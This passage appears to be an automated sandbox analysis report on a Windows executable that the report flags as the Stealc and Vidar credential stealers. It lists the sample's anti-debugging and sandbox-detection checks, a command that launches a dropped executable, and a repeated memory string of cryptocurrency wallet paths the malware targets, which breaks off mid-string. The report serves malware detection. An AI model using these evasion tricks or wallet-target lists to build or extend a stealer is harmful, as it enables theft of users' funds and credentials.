Source: GIJEBKEC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: GIJEBKEC.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GIJEBKEC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: GIJEBKEC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: GIJEBKEC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2581618911.0000000000A4B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GIJEBKEC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: GIJEBKEC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 3656, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBAECFHJEBA.exe"

Jump to behavior

Source: file.exe	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2581618911.0000000000A4B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C4D35A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000003.2052544248.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2581383835.0000000000671000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2582213624.0000000000FEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3656, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3656, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2604215687.0000000023682000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 